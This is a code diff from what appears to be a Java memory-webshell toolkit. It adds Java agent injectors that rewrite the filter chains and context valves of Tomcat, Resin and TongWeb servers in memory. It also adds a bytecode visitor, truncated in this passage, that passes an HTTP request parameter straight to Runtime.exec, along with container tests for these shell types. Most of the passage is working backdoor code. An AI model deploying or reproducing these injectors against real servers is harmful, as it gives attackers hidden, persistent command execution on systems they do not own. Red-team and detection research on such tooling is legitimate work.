static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-2
@@ -53,8 +53,15 @@ public class Tomcat8ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-2
@@ -51,8 +51,15 @@ public class Tomcat9ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ java {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
}
|
}
|
||||||
+96
@@ -0,0 +1,96 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.resin;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
static Constructor<?> constructor = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(getClassName());
|
||||||
|
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResinFilterChainAgentWithAsmInjector() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
return (MethodVisitor) constructor.newInstance(mv);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
+97
@@ -0,0 +1,97 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||||
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
|
static Constructor<?> constructor = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(getClassName());
|
||||||
|
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatContextValveAgentWithAsmInjector() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
|
try {
|
||||||
|
return (MethodVisitor) constructor.newInstance(mv);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||||
|
}
|
||||||
|
}
|
||||||
+96
@@ -0,0 +1,96 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
static Constructor<?> constructor = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(getClassName());
|
||||||
|
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatFilterChainAgentWithAsmInjector() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
return (MethodVisitor) constructor.newInstance(mv);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
+99
@@ -0,0 +1,99 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
|
||||||
|
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
|
||||||
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
|
static Constructor<?> constructor = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(getClassName());
|
||||||
|
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TongWebContextValveAgentWithAsmInjector() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
|
try {
|
||||||
|
return (MethodVisitor) constructor.newInstance(mv);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||||
|
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||||
|
}
|
||||||
|
}
|
||||||
+98
@@ -0,0 +1,98 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
static Constructor<?> constructor = null;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = Class.forName(getClassName());
|
||||||
|
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public TongWebFilterChainAgentWithAsmInjector() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
return (MethodVisitor) constructor.newInstance(mv);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||||
|
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
+159
@@ -0,0 +1,159 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import org.objectweb.asm.Label;
|
||||||
|
import org.objectweb.asm.MethodVisitor;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
import org.objectweb.asm.Type;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||||
|
|
||||||
|
|
||||||
|
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
super.visitCode();
|
||||||
|
// Define our parameter name
|
||||||
|
mv.visitLdcInsn("paramName");
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3
|
||||||
|
|
||||||
|
// Define labels for try-catch
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
|
||||||
|
// Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||||
|
|
||||||
|
// Start of try block
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
|
||||||
|
// Get the parameter from request: request.getParameter(paramName)
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param)
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||||
|
"()Ljava/lang/Class;", false);
|
||||||
|
mv.visitLdcInsn("getParameter");
|
||||||
|
mv.visitInsn(Opcodes.ICONST_1);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0);
|
||||||
|
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||||
|
mv.visitInsn(Opcodes.AASTORE);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||||
|
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||||
|
|
||||||
|
// Invoke the getParameter method
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object
|
||||||
|
mv.visitInsn(Opcodes.ICONST_1);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0);
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName
|
||||||
|
mv.visitInsn(Opcodes.AASTORE);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||||
|
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||||
|
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4
|
||||||
|
|
||||||
|
// Check if cmd is not null
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 4);
|
||||||
|
Label ifNullLabel = new Label();
|
||||||
|
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||||
|
|
||||||
|
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||||
|
"()Ljava/lang/Runtime;", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||||
|
"(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5
|
||||||
|
|
||||||
|
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
|
||||||
|
"()Ljava/io/InputStream;", false);
|
||||||
|
mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6
|
||||||
|
|
||||||
|
// Get response output stream
|
||||||
|
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param)
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||||
|
"()Ljava/lang/Class;", false);
|
||||||
|
mv.visitLdcInsn("getOutputStream");
|
||||||
|
